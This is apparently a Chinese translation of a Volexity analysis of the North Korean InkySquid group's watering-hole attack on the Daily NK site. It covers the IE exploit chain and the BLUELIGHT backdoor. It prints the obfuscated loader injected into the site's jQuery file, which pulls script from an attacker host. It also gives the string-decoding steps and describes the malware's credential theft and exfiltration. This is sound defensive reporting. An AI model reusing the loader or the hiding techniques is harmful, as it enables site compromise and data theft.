朝鲜InkySquid APT组织利用浏览器漏洞感染受害者
2021-08-28 12:45:00 Author: www.4hou.com(查看原文) 阅读量:59 收藏

朝鲜InkySquid APT组织利用浏览器漏洞感染受害者。

2021年4月,Volexity研究人员识别出了通过www.dailynk[.]com网站加载到恶意子域名的jquery[.]services可疑代码。加载恶意代码的URL包括:

hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2

这些URL指向的是Daily NK网站使用的合法文件,但是内容被攻击者修改了,其中包含重定向用户从攻击者控制的域名jquery[.]services加载恶意JS。攻击者控制的代码只加入了很短的时间就被移除了,使得攻击者活动的识别变得非常困难。

CVE-2020-1380

Volexity研究人员发现攻击者利用的首个漏洞是CVE-2020-1380,一个IE 0 day漏洞利用。攻击者在Daily NK网站的下述合法文件中加入了一行代码:

hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1

加入到Daily NK网站的混淆的代码如下:

function vgrai(){var e=document.createElement("script");e.src=fecet("w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t<t:6t0s=/x0=y5",15),document.head&&document.head.appendChild(e)}function vdgie(){const e=window.navigator.userAgent,t=e.indexOf("rv:11.0 "),i=e.indexOf("Trident/");return t>0||i>0}vdgie()&&vgrai();

加入以上代码后,如果用户用IE来访问Daily NK,页面就会从以下URL加载其他的JS文件:

hxxps://ui.jquery[.]services/responsive-extend.min.js

请求时,由于有正确的IE User-Agent,主机就会作为其他混淆的JS代码。初始重定向后,攻击者会选择将恶意代码隐藏在合法代码中。在本例中,攻击者使用了"bPopUp" JS库。这一选择具有2个结果:

◼分析JS的人可能会误认为其是合法的,因为大多数代码都是非恶意的;

◼识别恶意JS代码的自动化解决方案也可能会误认为这些代码是非恶意的,因为代码大部分可以与合法库内容匹配。

攻击者使用的漏洞利用代码中还包含许多混淆在变量中的字符串,以使其显得像合法的SVG内容。攻击者隐藏字符串的示例如图1所示:

image.png

图 1. SVG变量中混淆的字符串

为解密这些字符串,需要执行以下步骤:

◼通过M43.2字符串将path变量中的d属性中的数据分割开来;

◼将分割出的数据的每个元素通过空格符再次分割,会得到一个数字列表;

◼将这些数字转成整数;

◼如果整数大于30,就减去17,并加到生成的字符串中。如果整数小于等于30,就丢弃该数字。

总的来看,一共使用了3个假的SVG对象。一旦这些对象中的字符串替换为JS,识别漏洞利用就很容易了。解密和替换后的代码如图2所示:

图 2. CVE-2020-1380实现

代码对应的是TrendMicro研究人员发布的CVE-2020-1380漏洞PoC代码。

成功利用后,JS会使用相同的方法来解密最终的SVG变量,最终生成一个十六进制编码的Cobalt Strike stager,然后解码和执行。本例中,下载其他shellcode的URL包括:

◼hxxps://ui.jquery[.]services/swipeout.min.js

◼hxxps://ui.jquery[.]services/swipeout.min.css

◼hxxps://ui.jquery[.]services/slider.min.css

BLUELIGHT

在另一个样本中,攻击者使用jquery[.]services子域名来存放一个新的恶意软件家族。文件存放位置为:

hxxps://storage.jquery[.]services/log/history

history文件是一个XOR编码的定制恶意软件副本,恶意软件开发者和Volexity都将其命名为BLUELIGHT。命名依据是恶意软件PDB字符串:

E:\Development\BACKDOOR\ncov\Release\bluelight.pdb

BLUELIGHT是Cobalt Strike成功传播后的第二个payload。BLUELIGHT恶意软件使用不同的云服务提供商作为C2。恶意软件样本使用Microsoft Graph API进行C2操作。最开始的时候,BLUELIGHT使用硬编码的参数来进行oauth 2 token认证。客户端认证后,BLUELIGHT就会在OneDrive appfolder文件夹下创建子目录,创建的子目录名有:

logo

normal

background

theme

round

文件夹和子目录建立后,就会以JSON对象的格式来收集以下信息:

用户名

计算机名

操作系统版本

Web IP

默认接口的本地IP

本地时间

植入的二进制文件是32位还是64位

进程SID授权登记

进程文件名

安装的反病毒软件列表

受感染的机器是否运行虚拟机

这些数据会经过XOR编码为一个二进制blob并上传。所有上传的文件都会以.jpg作为扩展,不同的子目录和文件名表明不同类型的命令数据。

C2循环在初始上传侦查数据后开始,大约30秒循环一次。前5分钟内,每个循环会截图,并以时间戳作为文件名上传到normal子目录。5分钟后,截图每隔5分钟上传一次。

在每个循环中,客户端会通过美剧background子目录来查询新的命令。文件名表明要执行的命令,文件的内容提供命令相关的进一步信息。支持的命令包括:

执行和下载shellcode

下载和启动可执行文件,然后上传程序输出

获取IE、Edge、Chrome、Naver Whale等支持的浏览器中的cookie和密码数据库

递归检索路径和上传文件元数据;

产生一个进程来递归检索路径,以zip文件形式上传文件;

中止文件上传线程。

卸载。

命令文件在处理后会被删除,大多数命令生成的文件会上传到round目录。但zip upload会使用theme子目录。

本文翻译自:https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/Zv38
如有侵权请联系:admin#unsafe.sh